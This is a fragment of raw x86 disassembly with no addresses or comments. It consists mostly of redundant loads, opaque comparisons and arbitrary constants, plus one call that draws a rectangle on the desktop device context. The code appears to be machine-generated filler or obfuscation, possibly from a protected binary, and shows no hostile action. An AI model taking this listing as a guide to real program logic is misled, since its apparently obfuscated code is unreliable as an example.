setne cl
cmp ecx, edx
jle 0x1002a5b2
push esi
lea ecx, [ebp - 0x554]
call fcn.1000a8a0
mov dword [ebp - 4], 0x2c
xor eax, eax
mov dword [ebp - 0x10], 0xd86bdae8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002a49e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x780], 0xc8b166c1
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002a485
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002a4c1
push dword [ebp - 0x10]
lea ecx, [ebp - 0x554]
call fcn.1000a90d
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002a4a6
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002a513
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x774]
cmp dword [ebp - 0x20], eax
jne 0x1002a4e0
push edi
lea ecx, [ebp - 0x554]
call fcn.1000a90d
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x554]
mov eax, dword [ebp - 0x774]
push edi
call fcn.1000a90d
push edi
lea ecx, [ebp - 0x554]
call fcn.1000a90d
cmp dword [eax], 0
je 0x1002a513
push 2
lea ecx, [ebp - 0x554]
call fcn.1000a90d
mov eax, dword [ebp - 0x774]
mov ecx, edi
sub ecx, eax
add dword [ebp - 0x77c], ecx
mov eax, dword [ebp - 0x77c]
mov dword [ebp - 0x10], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002a585
mov eax, dword [ebp - 0x20]
mov ecx, 0xfad54077
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x778]
sbb ecx, ecx
inc ecx
neg ecx
neg ecx
sbb ecx, ecx
inc ecx
add eax, ecx
mov ecx, dword [ebp - 0x10]
imul ecx, eax
cmp ecx, dword [ebp - 0x20]
je 0x1002a566
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x40], eax
je 0x1002a568
mov ecx, edi
mov eax, dword [ebp - 0x10]
sub ecx, eax
je 0x1002a575
mov eax, dword [ebp - 0x778]
push edi
lea ecx, [ebp - 0x554]
call fcn.1000a90d
mov ecx, edi
jmp 0x1002a587
mov ecx, eax
mov eax, dword [ebp - 0x10]
sub eax, ecx
xor ecx, ecx
cmp eax, 0x1fc5
setl cl
sub ecx, 0xac01
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x554]
mov dword [ebp - 4], ebx
call fcn.1000a908
jmp 0x1002a6f4
push edi
lea ecx, [ebp - 0x9cc]
call fcn.1000a8a0
xor eax, eax
mov dword [ebp - 4], 0x2d
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1002a5ed
push dword [ebp - 0x18]
lea ecx, [ebp - 0x9cc]
call fcn.1000a90d
mov dword [eax], 0x8e20e6e8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002a5cf
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xfffffffc
jg 0x1002a6b2
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1002a628
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1290], 0x1f6e690d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1002a610
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1002a672
cmp dword [ebp - 0x40], eax
jne 0x1002a635
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x9cc]
xor ebx, ebx
push ebx
call fcn.1000a90d
push ebx
lea ecx, [ebp - 0x9cc]
call fcn.1000a90d
xor edx, edx
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x1288]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setle dl
cmp dword [ebp - 0x2c], edx
jg 0x1002a672
xor eax, eax
mov esi, eax
jmp 0x1002a676
mov esi, edi
xor eax, eax
push eax
lea ecx, [ebp - 0x9cc]
call fcn.1000a90d
mov ecx, dword [ebp - 0x2c]
xor edx, edx
cmp esi, ecx
mov ecx, 0x9700a5ff
push 0
setne dl
imul edx, dword [ebp - 0x2c]
cmp ecx, edx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffc
pop eax
push 3
pop esi
jle 0x1002a5fa
or ebx, 0xffffffff
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002a6e3
push 0x17b0
push 0x168c
push 0x1400
push 0x19f5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
lea ecx, [ebp - 0x9cc]
mov dword [ebp - 4], ebx
call fcn.1000a908
push 3
pop esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x48], 0xfd9d
mov dword [ebp - 0x30], 0xbd5de1fc
mov dword [ebp - 0x24], 0x7ad53a38
mov dword [ebp - 0x24], 0xf7d96711
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ebx
push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0xe2c], eax
mov dword [ebp - 0xe28], eax
mov dword [ebp - 0xe24], eax
mov dword [ebp - 0xe20], eax
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x1c], 0x63523e24
mov dword [ebp - 0x20], eax
jmp 0x1002a759
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xf84], 7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1002a748
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
sub edx, eax
mov dword [ebp - 0xf80], edx
lea eax, [edx + 1]
test eax, eax
jne 0x1002a789
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x18]
cmp eax, 0xb0f7
setl cl
mov dword [ebp - 0x24], ecx
dec dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xfff6
mov dword [ebp - 0xf7c], ecx
mov eax, dword [ebp - 0xe28]
sbb eax, eax
xor ecx, ecx
neg eax
test eax, eax
mov eax, dword [ebp - 0x28]
setle cl
xor edx, edx
cmp eax, ecx
setne dl
xor eax, eax
cmp edx, 0xdcc3
setne al
xor edx, edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x2c], 0x5683c8fc
mov dword [ebp - 0x20], 0x4ee7d21
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x40], 0xfffd
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x2c]
sub eax, 0x68e79848
cmp eax, edi
setge dl
xor ecx, ecx
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
cmp eax, 0xfffffff6
setne cl
cmp ecx, edx
jle 0x1002a97d
push esi
lea ecx, [ebp - 0x53c]
call fcn.1000a8a0
mov dword [ebp - 4], 0x2e
xor eax, eax
mov dword [ebp - 0x10], 0xd86bdae8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002a871
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7a0], 0xc8b166c1
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002a858
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002a894
push dword [ebp - 0x10]
lea ecx, [ebp - 0x53c]
call fcn.1000a90d
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002a879
cmp dword [ebp - 0x18], eax
jne 0x1002a8e6
push edi
lea ecx, [ebp - 0x8f8]
call fcn.1000a8a0
xor eax, eax
mov dword [ebp - 4], 0x2f
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1002a9b8
push dword [ebp - 0x18]
lea ecx, [ebp - 0x8f8]
call fcn.1000a90d
mov dword [eax], 0x8e20e6e8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002a99a
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xfffffffc
jg 0x1002aa7d
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1002a9f3
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002aaae